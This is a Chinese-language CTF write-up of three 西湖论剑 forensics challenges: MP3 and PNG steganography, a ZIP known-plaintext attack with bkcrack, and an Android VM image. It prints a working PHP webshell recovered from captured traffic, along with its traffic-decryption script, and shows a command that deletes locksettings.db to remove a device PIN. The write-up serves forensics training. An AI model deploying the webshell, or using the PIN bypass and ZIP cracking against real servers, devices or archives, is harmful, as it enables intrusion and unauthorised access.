西湖论剑MISC
Charmersix

MP3

拖进winhex, 发现结尾是一张png, foremost分出来试一下

1
foremost /home/kali/Desktop/cipher.mp3

得到一张这样很像打了码的二维码, 但又不是二维码的图片flag

这里我们没有思路, 再放进zsteg里跑一下

1
zsteg flag.png --all

image-20230225163842502

发现zip一个, 将其提取出来

1
zsteg -e 'b1,r,lsb,xy' flag.png > flag.zip

有密码, 放到爆破里看一下, 看来是没戏, 剩下的思路就是MP3里应该还隐写了东西, MP3Stego跑一下

image-20230225164505241

解压拿到47.txt

1
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

唯一提示: 47, 去百度寻找答案

image-20230225164851242

那就试试rot47

image-20230225165214450

得到一段内容

1
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();

像是js内容, 直接浏览器运行一下, 拿到flag:DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

image-20230225165635280

当然, 这里我了解到他是jsfuck, 工具在这

image-20230225165732183

可以看一下这里

take_the_zip_easy

这里利用一个明文攻击, 所谓明文攻击就是通过目前已知的部分信息, 去攻击得到未知的一些信息, 那么这个压缩包我们有什么已知的呢?

我们看一下这个压缩包的压缩方式

ZIP的加密算法大致分为两种ZipCrypto和AES-256,各自又分Deflate和Store。

ZipCrypto Deflate

ZipCrypto Store

AES-256 Deflate

AES-256 Store

ZipCrypto算是传统的zip加密方式。只有使用ZipCrypto Deflate /Store才可以使用 ZIP已知明文攻击进行破解。

传统的ZIP已知明文攻击利用,windows下可以使用AZPR,linux下可以使用pkcrack。

image-20230226142826399

那么这个压缩包有什么是我们已知的呢, 我们来winhex细看一下image-20230226143112141

很明显这个名字是我们已知的, 并且, 那我们把这名字的十六进制数值copy出来646173666C6F772E706361706E67, 然后通过命令.\bkcrack.exe -C .\zipeasy.zip -c dasflow.zip -x 30 646173666c6f772e706361706e67 -x 0 504B0304

拿到k

2b7d78f3 0ebcabad a069728c

image-20230226150928286

然后再通过命令./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip拿到流量包

导出HTTP对象, 发现flag.zip

image-20230226152714444

发现还是有密码的, 我们继续翻阅流量包, 这里很明显是黑客上传的webshell, 然后我们追踪最后一条eval.php看一下, 可惜被加密过, 那么我们往前翻, 看一下他的加密方式image-20230226153339488

我们可以在第六个TCP流里发现这串加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

然后我们让Chat GPT帮忙看一下

这段代码是一段 PHP 代码,它实现了一个简单的加密和解密机制,同时实现了一个简单的 Webshell 功能。

首先,这段代码使用 @session_start() 开始一个会话,然后使用 @set_time_limit(0) 禁止脚本执行超时,最后使用 @error_reporting(0) 关闭错误报告。

接下来是 encode() 函数,该函数接受两个参数 $D$K,其中 $D 是待加密/解密的字符串,$K 是密钥。函数的主要作用是将 $D 字符串进行加密或解密,具体操作是按位异或(XOR)每个字符与密钥中的字符进行运算,然后返回加密/解密后的结果。

代码中定义了四个变量:

  • $pass:密码,用于验证 POST 请求是否合法。
  • $payloadName:有效载荷名称,用于存储从 POST 请求中获取的有效载荷。
  • $key:加密密钥,用于加密和解密数据。
  • $data:从 POST 请求中获取的加密的数据。

代码的主要逻辑如下:

  • 如果 POST 请求中包含了 $pass 变量,那么将从 POST 请求中获取到的数据 $data 进行解密,然后使用 $payloadName 变量存储有效载荷,如果有效载荷中包含了 getBasicsInfo 字符串,那么直接存储,否则对有效载荷进行加密后再存储。
  • 如果没有包含 $pass 变量,那么检查有效载荷中是否包含了 getBasicsInfo 字符串,如果包含了,则表示要执行命令,否则不做任何处理。

最后,代码使用 eval() 函数执行存储在有效载荷中的 PHP 代码,并将执行结果进行加密后输出。同时,代码还输出了一个哈希值,包括密码和密钥的 MD5 哈希值的前 16 个字符和后 16 个字符,用于验证密码和密钥是否正确。

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}

//$pass='air123';

$key = 'd8ea7326e6ec5916';

$a = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
//$b = substr($a, 16, strlen($a) - 32);
echo gzdecode(encode(base64_decode($a), $key));

然后我们直接看比较靠后的包,终于在我们的36流, 发现了密码airDAS1231qaSW@image-20230226220408809

最终拿到flagimage-20230226220503128

机你太美

下载下来是一个npbk文件, npbk可以当作一个压缩包然后直接分析他里边的vmdk, 直接修改后缀为zip, 解压拿到vmdk, npbk也提示我们这是个安卓系统, 我们可以直接将其导入模拟器, 这里我用的是夜神, 其他的应该也是可以的

image-20230318145652128

然后我们开启这台机器, 发现有密码image-20230318145722541

大部分人参考的都是这篇文章

我们可以借用nox自带的adb shell

这里开启虚拟机, 然后直接终端打开到Nox/bin目录即可

image-20230318145955451

然后直接执行

1
rm /data/system/locksettings.db

即可清楚pin码

image-20230318150627448

看起来一切正常, 只有一个Skred貌似可以利用image-20230318152348750

这里是两个人的聊天记录, 一堆压缩包以及两张图片image-20230318152630986

我们可以从这里将图片保存出来到pc上image-20230318153049601

二话不说, zsteg跑一下试试, 看的我头皮发麻, 也没看出有什么猫腻image-20230318155127875

再打开stegsolve这个软件也许会更直观一点, alpha2很明显有东西, 直接提出来看看

image-20230318155314331

保存出来会发现一些不一样的地方, 这里一定要细心一点, 因为文件非常大image-20230318160036408

这里可以写个脚本将数据二进制提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image

img = Image.open('1.png')
a, b = img.size
flag = ''
for x in range(a):
for y in range(b):
pixel = img.getpixel((x, y))
if x == 400:
r, g, b, alpha = pixel
if alpha == 251:
flag += '0'
elif alpha == 255:
flag += '1'

print(flag)

image-20230318164750192

可以拿到字符串e01544a9333ef62a3aa27357eb52ea8a

像压缩包密码可以解压image-20230318165200446

这里还有一张图片没有用到, 它的信息居然藏在了exif里可以使用在线工具查看

image-20230318165244816

直接来xor可以拿到flagimage-20230318165407734

 Comments